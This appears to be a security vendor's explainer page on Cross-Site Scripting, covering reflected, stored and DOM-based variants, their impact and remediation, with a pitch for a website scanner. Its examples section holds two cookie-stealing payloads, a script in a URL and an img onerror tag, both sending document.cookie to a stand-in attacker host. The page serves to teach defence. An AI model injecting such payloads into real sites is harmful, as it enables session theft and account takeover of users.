Cross-Site Scripting (XSS)
XSS vulnerabilities allow attackers to inject malicious scripts into web pages viewed by other users. The three types -- Reflected, Stored, and DOM-based -- each present unique risks to application security.
Overview
Cross-Site Scripting (XSS) is a client-side code injection vulnerability that allows attackers to execute malicious scripts in the context of a trusted website. When a web application includes untrusted data in its output without proper validation or encoding, attackers can inject JavaScript, HTML, or other client-side code that executes in victims' browsers.
Types & Variants
Reflected XSS
The malicious script is reflected off a web server in error messages, search results, or other responses that include user input. Typically delivered via crafted URLs.
Stored XSS
The injected script is permanently stored on the target server (in databases, message forums, comment fields). Every user who views the affected page is impacted.
DOM-Based XSS
The vulnerability exists in client-side code rather than server-side. The attack payload is executed as a result of modifying the DOM environment in the victim's browser.
Impact
Session hijacking, account takeover, defacement, phishing, keylogging, and malware distribution.
Examples
Reflected XSS via URL
https://example.com/search?q=<script>document.location="https://evil.com/steal?c="+document.cookie</script>
Stored XSS in Comment
<img src=x onerror="fetch('https://evil.com/log?'+document.cookie)">Remediation
Implement context-aware output encoding, use Content Security Policy (CSP), validate and sanitize all user inputs, and use modern framework protections.
Encode output data based on the context (HTML, JavaScript, URL, CSS)
Implement a strict Content Security Policy (CSP)
Use modern frameworks with built-in XSS protections (React, Angular, Vue)
Validate and sanitize all user inputs on the server side
Set HttpOnly and Secure flags on session cookies
Use the X-XSS-Protection header as an additional defense layer
Related SuperClue scanner checks
These scanner checks look for signs of Cross-Site Scripting (XSS). What a scan can confirm from outside depends on your application.
Scan a domain you have verified with up to 350 modules, paid in credits.
See how website scanning works